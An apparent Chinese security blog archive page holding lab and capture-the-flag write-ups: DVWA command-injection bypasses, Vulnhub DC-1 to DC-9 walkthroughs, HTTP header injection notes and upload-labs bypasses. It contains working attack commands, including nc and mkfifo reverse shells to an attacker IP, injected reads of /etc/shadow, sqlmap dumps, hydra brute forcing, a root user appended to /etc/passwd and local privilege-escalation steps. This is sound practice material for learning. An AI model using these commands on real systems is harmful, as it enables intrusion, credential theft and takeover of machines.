DVWA简介DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。DVWA共有十个模块,分别是Brute Force(暴破)Command Injection(命令注入)CSRF(跨站伪造)File Inclusion(文件包含)File Upload(上传)Insecure CAPTCHA (不安全的验证码)SQL Injection(SQL注入)SQL Injection(Blind)(SQL盲注)XSS(Reflected)(反射跨站)XSS(Stored)(存储跨站)需要注意的是,DVWA分为四种安全级别:Low,Medium,High,Impossible。初学者可以通过比较四种级别的代码,接触到一些php代码审计的内容。命令注入命令注入,即命令注入,是指通过提交恶意结构的参数破坏命令语句结构,从而实现执行恶意命令的目的。PHP命令注入攻击是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!,DedeCMS等都曾经存在过该类型漏洞。Low服务器端核心代码<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?> 相关函数介绍 stristr(string,search,before_search)stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的ASCII值的字符),可选参数before_true为布尔型,默认为“false”,如果设置为“true”,函数将返回search参数第一次出现之前的字符串部分。php_uname(mode)这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。漏洞利用window和linux系统都可以用&&来执行多条命令127.0.0.1&&net userLinux下输入127.0.0.1&&cat /etc/shadow甚至可以读取shadow文件,可见危害之大。Medium服务器端核心代码<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>可以看到,相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。漏洞利用1、127.0.0.1&net user因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。这里需要注意的是”&&”与” &”的区别:Command 1&&Command 2先执行Command 1,执行成功后执行Command 2,否则不执行Command 2Command 1&Command 2先执行Command 1,不管是否成功,都会执行Command 22、由于使用的是str_replace把”&&” 、”;”替换为空字符,因此可以采用以下方式绕过:127.0.0.1&;&ipconfig这是因为”127.0.0.1&;&ipconfig”中的” ;”会被替换为空字符,这样一来就变成了”127.0.0.1&& ipconfig” ,会成功执行。High服务器端核心代码<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?> 相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。漏洞利用黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ”|”成了“漏网之鱼”。127.0.0.1|whoamiCommand 1 | Command 2“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。Impossible服务器端核心代码<?php if( isset( $_POST[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $target = $_REQUEST[ 'ip' ]; $target = stripslashes( $target ); // Split the IP into 4 octects $octet = explode( ".", $target ); // Check IF each octet is an integer if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { // If all 4 octets are int's put the IP back together. $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } else { // Ops. Let the user name theres a mistake echo '<pre>ERROR: You have entered an invalid IP.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?> 相关函数介绍stripslashes(string)stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。explode(separator,string,limit)把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。is_numeric(string)检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。Impossible加入了Anti-CSRF token,对参数ip进行了严格限制,只有诸如“数字.数字.数字.数字”的输入才会被执行,因此不存在命令注入漏洞。
2020年05月03日
71 阅读
0 评论
0 点赞
2020-05-03
Vulnhub靶场之DC-9
首先继续使用arp-scan -l获取靶机的地址目标ip 192.168.75.142接下来使用nmap获取更多的相关信息nmap -sS -A -p 1-65535 192.168.75.142不出所料,又是熟悉的80-22两个端口那也不出所料的直接访问80一个显示职员的页面,但是在manage.php中可以进行登录,这里我们肯定要得到管理员账户密码,每个页面进行模糊测试,发现在results.php中存在严重的POST类型SQL注入。sqlmap -u "http://192.168.75.142/results.php" --data "search=1" --dbs?????被我扫死了?重启一下虚拟机看看正常了(汗)可以看到有一个user库,看看里面有什么东西sqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D users --tablessqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D users -T UserDetails --dump这里是那些员工这账号和密码,后面可能会用到,先放着,然后再回过来爆另一个员工库看看会有什么东西:sqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D Staff --tablessqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D Staff -T StaffDetails --dumpsqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D Staff -T Users --dump直接使用这个账号密码登录后台试试看可以看见它多了一个Add Record选项,并无什么有用的东西,再看它下面的那句话:File does not exist ,它说文件不存在,这里就很可以了,随即联想到这里是不是存在LFI漏洞,类似前某一次的DC。emmmpasswd文件风评被害。。。所以说LFI是存在的,但是做到这里的时候就卡住了,不知该如何进行下去在CSDN参考了一些大佬的做法,晓得这里用的是端口敲门:原理简单分析: 端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。 简单来说就是:知道它的自定义端口后,依次对其进行敲门,然后就可以开启ssh服务从而进行连接了。它的默认配置文件为:/etc/knockd.conf所以现在就是要知道它的这个配置文件的内容就可以得到它自定义的端口号,用LFI把这个文件爆出来:知道端口号后,然后进行敲门,使用nmap即可:nmap -p 7469 192.168.1.109 nmap -p 8475 192.168.1.109 nmap -p 9842 192.168.1.109然后再用namp看一下靶机的ssh服务是否可以正常利用:nmap -p22 192.168.75.142可以看见,ssh服务已经可以利用了,但是需要登录凭证,然后我们把前面所爆出来的那些员工的账号和密码编写成两个字典hydra -L user.txt -P passwd.txt 192.168.75.142 ssh真棒,有一个是管理员用户就先选用这个janitor用户登录ssh janitor@192.168.75.142登录进来以后先查看一下都有什么嗯?密码文件?再爆破?加到刚刚那个里面试试看再次hydra起爆......登录吧。。话不多说,直接看可操作的sudosudo -l在这里我们可以看到,这个用户可以sudo使用root权限在运行一个test程序,而且不需要密码,然后我们先进去这个保存文件测试的位置看一下这是个什么程序:python脚本是一个python脚本。既然拥有root权限,那现在我们要做的就是构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限。回到kali使用openssl工具先创建一个本地的加密用户:openssl passwd -1 -salt admin 111111然后回到靶机中,去到那个程序的目录下用echo命令在/tmp目录下创建一个名为aaa的文件(这个文件名可以自定义),再使用sudo用那个test程序来运行这个文件,随后切换成我们添加的这个用户,输入自己设定的密码就可以成功提权到root用户了,最后进入root目录下查看flag即可。echo 'admin:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash' >> /tmp/aaasudo ./test /tmp/aaa /etc/passwdsu admincd /rootcat theflag.txt至此,1-9靶机除了dc3有问题以外,全部通关
2020年05月03日
102 阅读
0 评论
0 点赞
2020-05-01
Vulnhub靶场之DC-8
废话不多说。还是老规矩先安装上虚拟机然后一波arp-scan -l查找目标主机192.168.75.141使用nmap查询更多信息nmap -sS -A -p 1-65535 192.168.75.141不要说,肯定又是80 22访问看看吧又双叒叕是Drupal的系统。。。。看看页面上有没有什么问题吧。。。嗯??见ID就想起注入,,,搞不好还真有,,,and测试看看?好像还真有问题,上sqlmap一把嗦看看sqlmap -u "http://192.168.75.141/?nid=1"666还真的有,继续看看能不能爆表出来sqlmap -u "http://192.168.75.141/?nid=1" --dbssqlmap -u "http://192.168.75.141/?nid=1" -D d7db --tables吧users表导出看看有没有什么东西sqlmap -u "http://192.168.75.141/?nid=1" -D d7db -T users --dump两个用户、、、hash密码用John爆破。。。用御剑扫到robots文件发现登陆点,用john账号登录经过搜索发现一个问题,可以运行php代码在联系我们的这个设置项里边和DC-7的靶场有异曲同工之妙。。。试着反弹shell,(需要注意的是在php代码前面最好写一些字符,否则代码无法执行,不知道什么逻辑)获取到shell了很明显,又是熟悉的www-data权限寻找标志位为s的文件看到可疑文件exim4查看版本查到了poc将红框内的文件使用wget下载到靶机chmod +x但是这里有个问题,这个脚本是在windows下开发,每行的结尾都有^M,所以需要删除每一行结尾的^M方法:vi 46996.sh:%s/^M//g:wq
2020年05月01日
82 阅读
0 评论
0 点赞
2020-04-29
关于什么是HTTP头注入
HOST注入在以往http1.0中并没有host字段,但是在http1.1中增加了host字段,并且http协议在本质也是要建立tcp连接,而建立连接的同时必须知道对方的ip和端口,然后才能发送数据。既然已经建立了连接,那host字段到底起着什么样的的作用?Host头域指定请求资源的Intenet主机和端口号,必须表示请求url的原始服务器或网关的是比如www.test.com和mail.test.com两个域名IP相同,由同一台服务器支持,服务器可以根据host域,分别提供不同的服务,在客户端看来是两个完全不同的站点。Host头实验总结:在http 1.1中不能缺失host字段,如果缺失, 服务器返回400 bad request,http1.1中不能缺失host字段,但host字段可以是空值。密码重置毒相信大家忘记密码时,使用邮箱找回密码并不陌生。看上去貌似能可靠只能发送到你绑的邮箱去重置密码。并且使用你自己独特的密钥令牌才能重置成功。但是好多cms和实际场景为了获取网站的域名拼接秘钥令牌的方式将连接发送到你的邮箱。但是往往获取正确的域名并不是十分的不容易, 然而用一个固定的URI来作为域名会有各种麻烦。所以一般程序员会采用(java)request.getHeader(“Host”); (php)$_SERVER['HTTP_HOST']的方式来获取域名。上面所述的两种获取域名的方法并不可靠。都可以人为的去控制。导致当域名和令牌拼接时,攻击者通过篡改hsot值生成钓鱼连接,当受害者点击时,受害者的秘钥令牌将会直接发送到攻击者的服务器上。使其受害者的密码被攻击者篡改XSS:有些网站会根据HTTP_HOST字段来进行加载css样式表。如果要为固定的话,当域名发生改变时,那么站内所有的css即将失效。而且修改的时候也将的十分头疼,因为每个页面都会引用大量的公共资源。web缓存中毒简单描述:Web缓存服务器的应用模式主要是正向代理和反向代理。正向代理(Proxy)模式是代理网络用户访问internet,客户端将本来要直接发送到internet上源服务器的连接请求发送给代理服务器处理。正向代理的目的是加速用户在使用浏览器访问Internet时的请求响应时间,并提高广域网线路的利用率。正向代理浏览器无需和该站点建立联系,只访问到Web缓存即可。通过正向代理,大大提高了后续用户的访问速度,使他们无需再穿越Internet,只要从本地Web缓存就可以获取所需要的信息,避免了带宽问题,同时可以大量减少重复请求在网络上的传输,从而降低网络流量,节省资费。思路:Apache接收到一个带有非法host header的请求,它会将此请求转发给在 httpd.conf 里定义的第一个虚拟主机。因此,Apache很有可能将带有任意host header的请求转发给应用。X-Forwarded-For注入:大家有没有见过这样一种场景,当你对用户网站进行的爆破或者sql注入的时候,为了防止你影响服务器的正常工作,会限制你访问,当你再次访问时,会提示你的由于你的访问频过快或者您的请求有攻击行为,限制访问几个小时内不能登陆,并且重定向到一个错误友好提示页面。由此可以发起联想?http是无状态连接,而且自己也清空了COOKIE信息,服务器是怎么还是自己的?首先当你有攻击行为的时候,服务器一般会把恶意用户的ip存入数据库。当每次用户请求的时候(以java语言为例),服务器通过request.getRemoteAddr()这个方法来获取请求者的ip。于是想到这个ip我们自己到底能不能伪造?答案是否定的。因为经过测试request.getRemoteAddr并不会回从数据包的请求头去获取ip字段的Value。所以推测ip地址是ip包中的soure来的,当我们发送http请求时是否可以更新soure ip来绕过限制呢,这个可以有!,但是你将不会收到对方的响应,因为在正常的TCP/IP通信中,伪造数据包来源 IP会让发送出去的数据包返回到伪造的IP上,无法实现正常的通信。这样我们也就失去的绕过的意义。User-Agent注入User-Agent、Content-Type等只要是http包中存在的都可以进行篡改。在这再说下User-Agent的头注入和Content-Type的头注入,其他的就不详细赘述。基本原理大同小异。最后会进行总结。一般使用user-Agent,有两种场景一是记录访问者的信息,如什么浏览器、操作系统版本等。二是获取客户的user-Agent,根据你提供的信息来给你推送不同的网页。如果你手机手机访问那么返回你的页面将是小型的web界面,还有各种浏览器的特性,推送相兼容的页面。此时已经进行的数据库的入库和查询操作,如果没对此做过滤那么漏洞就产生了。Content-Type注入远程命令执行Content-Type看见这个字段相信大家都不陌生,例如S2-045的远程命令执行。当Jkarta解析文件上传请求包不当,当攻击者使用恶意的Content-Type,会导致上传发生异常。从而导致Str2框架对Content-Type的内容进行ongl的解析导致命令执行。这个漏洞虽然要涉及Jkarta插件,而arta插件ommons-fileupload和commons-io包,但是这是Str2的默认插件。也就是说基本所有开发使用到上传都会导入这两个依赖包。最重要的是这个漏洞不需要真正的上传只需进行模拟上传即可,甚至可以是GET请求。
2020年04月29日
133 阅读
0 评论
0 点赞
2020-04-24
Vulnhub靶场之DC-7
这周开始上课了,没法每日更新了,只能周末抽时间发,,,那么进入正题老规矩先搜索主机的地址arp-scan -l用nmap扫描端口和信息nmap -sS -A -p 1-65535 192.168.75.140开启了80端口,访问一下看看emmm,为啥这么熟悉,。,。使用之前的方法攻击Drupal,用msf测试失败。。。。总觉得哪里和原先的不一样????挂上SSR去谷歌搜一波看看!!!配置文件?账号密码?能不能登录后台?SSH呢,奇怪的操作增加了WTF奇怪的操作果然增加了查看当前目录下的文件,backups里面有两个加密文件,不可利用,查看mbox文件,发现是一个计划任务:自动备份数据库的执行情况,调用的脚本是/opt/scripts/backups.sh,是root权限执行的。看看权限和内容drush和gpg是什么东西?其中drush是专门用来管理Drupal站点的shell,可以用来修改密码可以修改admin账号的密码,这里要进入/var/www/html目录下才有权限执行该命令,这里修改密码为123465,提示success即修改密码成功。登录成功在Content中新建一个Basic page,然后在Title输入页面的名称,在Body中放入反弹shell的PHP代码,Text format的位置选择PHP code。但是从下图中可以看到Text format里面没有PHP code选项。这些都弄好了之后,在kali上监听端口,最后点击Preview按钮。不过这个貌似被移除了可以通过手动安装。选择URL并点击installURL:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz随后在Content中添加webshell.php,点击Content > Add content > Basic page,先将Text format修改为PHP code,再写入反弹shell可以直接msfvenom生成一个反弹shell代码msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.75.129 LPORT=4444 R > DC7_shell.php复制反弹shell代码到Body里,Title自定义,完了之后放着别动,先使用metasploit监听端口,然后点击Previewmsfconsole use exploit/multi/handler set lhost 192.168.75.129 set lport 4444 set payload php/meterpreter/reverse_tcp run点击Preview后反弹成功,接着进入交互shellshell python -c "import pty;pty.spawn('/bin/bash')"我们使用Drupal反弹回来的shell用户是www-data,所以接下来就是将反弹shell的代码附加到backups.sh脚本中(因为计划任务是root权限执行的,反弹回来的shell也会是root用户)echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.75.129 1234 >/tmp/f" >> backups.sh 然后在kali中监听相应端口,等待计划任务的执行,执行后便获得rootshell,接着进入交互shellnc -lvnp 1234 shell python -c "import pty;pty.spawn('/bin/bash')" 拿下flag
2020年04月24日
133 阅读
0 评论
0 点赞
2020-04-19
Vulnhub靶场之DC-6
还是老规矩。使用arp-scan -l查找我们的目标主机192.168.75.139使用nmap进一步获取相关信息 nmap -sS -A -p 1-65535 192.168.75.139开启了80-22两个端口。直接访问80进一步测试和DC2的靶场有点类似,本地还需要重定向一下、nano /etc/hosts 或编辑C:\Windows\System32\drivers\etc\hosts访问成功使用nmap漏洞扫描脚本nmap --script=vuln 192.168.75.139跑出来一些奇怪的东西,复制出来,做用户表,然后用hydra爆破?吧/usr/share/wordlists/rockyou.txt复制出来为passwd.txthydra -L user.txt -P passwd.txt wordy http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&rememberne=forever&wp-submit=Log In:S=1'可得账号,密码为:mark/helpdesk01发现有Activity monitor,这个模块的tools中的lookup存在CVE-2018-15877远程命令执行漏洞burpsuit直接反弹shellnc -lvvp 4444nc -e /bin/bash 192.168.75.129 4444根据以往的操作,进入到home目录下。应该有一些奇奇怪怪的东西在里面cd /home/mark ls cat things-to-do.txt给出了graham的密码,更换账号ssh登陆ssh graham@192.168.75.139尝试提权sudo -l发现jens账户是无密得,不过ssh是登陆不上去的,但是可以看到jens账户对backups.sh是有权限执行的,也是有写入的权限,所以,尝试在执行此文件时,顺道反弹shellecho 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f| bin/sh -i 2>&1 | nc 192.168.75.129 5555' > backups.shsudo -u jens /home/jens/backups.sh攻击机监听端口5555,获得jens的shell同样,发现root账户是无密得,但是nmap是有root权限的写一个nmap的脚本,运行从而获得root权限echo 'os.execute("/bin/sh")' >root.nse ls sudo nmap --script=/home/jens/root.nse whoami cd ~ cat theflag.txt
2020年04月19日
133 阅读
1 评论
0 点赞
2020-04-17
Vulnhub靶场之DC-5
还是老规矩,先搜集一波信息arp-scan -l 检索一下我们的主机设备192.168.75.138使用nmap扫描端口信息 nmap -sS -p 1-65535 -A 192.168.75.138发现启用了nginx服务,开启着80端口。访问试试似乎是一个介绍页面,还有一个留言板发现存在index.php,solutions.php,about-us.php,faq.php,contact.php,thankyou.php,footer.php七个页面]使用kali下的自带字典因为我用的是Community版本的burp。。。。爆破没法设置线程巨慢,因此盗几张图既然是文件包含,直接老规矩去读取/etc/passwdthankyou.php?file=/etc/passwd对方使用的是Nginx,那么能不能读取出nginx的日志文件呢。查询资料得出,默认nginx的日志路径是/var/log/nginx/*.log如果说他将会读取日志。那么能否在日志里面插入一句话木马呢?插入成功上菜刀连接http://192.168.75.138/thankyou.php?file=/var/log/nginx/error.log试试看成功不出所料,又是一个低权用户那么用nc反弹到kali里面玩nc -e /bin/bash 192.168.75.129 1234nc -lvvp 1234然后我们寻找具有sudo权限的操作find / -perm -u=s -type f 2>/dev/nullscreen提权?searchsploit screen 4.5.0查找可用于screen 4.5.0的漏洞脚本文件cp /usr/share/exploitdb/exploits/linux/local/41152.txt 41152.textcp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh将41154.sh中上面一部分c语言代码另存为libhax.c 编译libhax.c文件gcc -fPIC -shared -ldl -o libhax.so libhax.c将41154.sh中下面一部分c语言代码另存为rootshell.c 编译rootshell.c文件gcc -o rootshell rootshell.c将41154.sh中剩下部分代码另存为dc5.sh脚本文件并在保存dc5.sh文件输入 :set ff=unix ,否则在执行脚本文件时后出错为dc5.sh增加可执行权限,执行dc5.sh文件,成功获取到root权限cd /tmpchmod +x dc5.shls -l./dc5.sh
2020年04月17日
241 阅读
0 评论
0 点赞
2020-04-16
Vulnhub靶场之DC-4 AIS
开头先解释一下为啥没有DC-3DC3的虚拟机安装完后,设备无法联网,内网无法被发现,因此跳过。老规矩,先查一下目标地址192.168.75.137使用nmap对目标进行扫描nmap -sS -p 1-65535 -A 192.168.75.137开启了80.22端口,直接访问80端口,看看是何方神圣还是老规矩,上Hydra大杀器hydra爆破密码: hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.75.137 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F如果你出现这种情况请进入/usr/share/wordlists/路径下kali自带的密码字典rockyou.txt.gz进行解压:gzip -d rockyou.txt.gz登录成功用burp抓包查看nc反弹shell: nc -e /bin/sh 192.168.75.129 4444发现三个账户jim的账户中有密码文件爆破猜解ssh密码,与账户 hydra -L dc4.txt -P passwd.txt -t 6 ssh://192.168.75.131登录进去。看起来好像是有一个邮件的意思噗,密码都出来了登录上去尝试sudo -l 提权,出现提示,使用teehee更改权限,并提权为root
2020年04月16日
282 阅读
0 评论
0 点赞
2020-04-15
Vulnhub靶场之DC-2 WordPress
环境:kali:192.168.75.129 DC2 -靶机 和 kali 在同一C段先是arp-scan -l检索局域网内主机发现靶机地址,使用nmap进行扫描 nmap -A -p 1-65535 192.168.75.136发现打开了80端口,SSH端口那么直接访问80看看有没有什么神奇的东西还跳转了,上hosts重定向。win10路径: C:\Windows\System32\drivers\etclinux路径:/etc/hosts 访问成功,发现flag1使用工具 cewl爬取生成密码cewl http://dc-2/ -w passwd.txt准备使用wpscan进行搞事情,但我。。上hydra大杀器吧,修是不可能修的,,,WordPress默认后台地址:/wp-admin 且WordPress当用户名不存在时会提示用户不存在,可增加爆破效率hydra -L user.txt -P passwd.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'我们跑出了 jerry和tom账户,登进去看看tom,没啥东西,jerry用户界面如下,发现了flag2啊哈想到上一个DC1的靶机是用SSH干进去的问题是,WordPress的CMS本身还是比较安全的,问题基本都出在插件上,可这个jerry的账号权限不够,无法安装插件来上传shell那就硬着头皮ssh试试看,用登录账号密码试试jerry老贼不是同一个密码,太草(一种植物)蛋了试试看Tom老贼不愧是你。。。。执行命令发现 command not found,百度得知这是因为ssh远程连接到服务器的环境变量中不包含对应可执行文件的路径。需要自行添加BASH_CMDS[a]=/bin/sh;a $ /bin/bash export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin得到flag3切换到Jerry,发现flag4.txt哈?Git还能提权?试试看吧。看看git有没有那个权限 sudo -lflag不会骗人(小声bb)sudo git -p help !/bin/sh奇怪,我怎么没法提权,查了查百度,发现git有一个缓冲区溢出漏洞,在使用sudo git -p --help时,不需要输入root密码即可以root权限执行这条命令。我们尽量减小缓冲区的行数,使其一次性显示不完这条命令的回显结果,这样这条命令就一直处于运行状态,加上此时处于root权限,我们直接在这时候打开bash shell,直接提权至root。看起来要打开gui了,来自Xshell的鄙,艹(一种植物)奇怪的知识增加了
2020年04月15日
131 阅读
0 评论
0 点赞
2020-04-14
Vulnhub靶场之DC-1 Drupal
今天来进行CTF的小测试题,DC靶场1,难度不高,最适合我这种萌小新了。安装上ova虚拟包,看看访问正常不正常正常,上nmap扫描一下端口回到网站,查看robots.txt,看看有没有什么有用的信息比我还白,,,似乎是有一个古老的漏洞CVE,拿MSF打一下看看,搜索drupal开干,获取相应。然后Getshell这是撒?,这奇妙的名字,读取一波看看通过百度可知drupal的数据库配置文件在/sites/default/settings.php真是有趣,爆破、、、远程连接暂时不得动。不如来查看etc/passwdemmmmm这是啥啊?根据flag2提示暴力破解flag4账户密码,利用自带的medusa+John the Rippermedusa -M ssh -h 192.168.75.135 -u flag4 -P /usr/share/john/password.lst -e ns -F -M: 表示你要破解的类型。-h:目标机器地址。-u:用户名。-e : 尝试空密码。-F:破解成功后立即停止破解。-v:显示破解过程。very nice 但是确定是让我爆破?ssh连接目标emmmm。不是root玩毛线要想有root权限:1 以root账户登录(尝试使用爆破未果)2 普通用户登录,查找具有suid权限位的命令去get shellsuid权限位:说明可以以root权限执行命令可我这种垃圾怎么会提权,呜呜呜find / -type f -perm -u=s 2>/dev/nullfind / -type f -name shell -exec "whoami" \;我也不知道为什么要用find 哈哈哈这这这。。。root权限?find / -type f -name shell -exec "/bin/sh" \;跑一波sh试试搞定。。。
2020年04月14日
166 阅读
0 评论
0 点赞
2020-04-13
Upload-labs靶场11-19关记录
下午继续来打这个upload靶场第十一关:观察源码,发现存在字符拼接。黑名单被取而代之变成白名单。当有php环境中有两个截断条件:1.php版本小于5.3.4 详情关注CVE-2006-72432.php的magic_quotes_gpc为OFF状态,便会有00截断,利用00截断上传。因为我用的是php73,改成52进行试验改为上传成功第十二关:这里保存用了post方法,所以要用burp再16进制里面改,因为post不会像get对%00进行自动解码。上传成功第十三关:上传图片马即可。copy normal.jpg /b + shell.php /a webshell.jpg上传成功第十四关:和第十三关很类似,只不过变成imagesize校验。依然可以通过图片马绕过上传上传成功第十五关:这里用到php_exif模块来判断文件类型,还是直接就可以利用图片马就可进行绕过:不过,我起初多次测试,老是报错然后我才发现,我exif模块没开,,,上传成功第十六关:本关综合判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,绕过方法:上传成功第十七关:本关是条件竞争,查看代码:这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell。首先在burp中不断发送上传webshell的数据包然后不断在浏览器中访问,发现通过竞争可以访问到:第十八关:和前一关非常类似,只不过结和前面几关的方法,对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功:第十九关:CVE-2015-2348 move_uploaded_file() 00截断,上传webshell,同时自定义保存名称,直接保存为php是不行的发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过
2020年04月13日
95 阅读
0 评论
1 点赞
1
...
32
33
34
...
38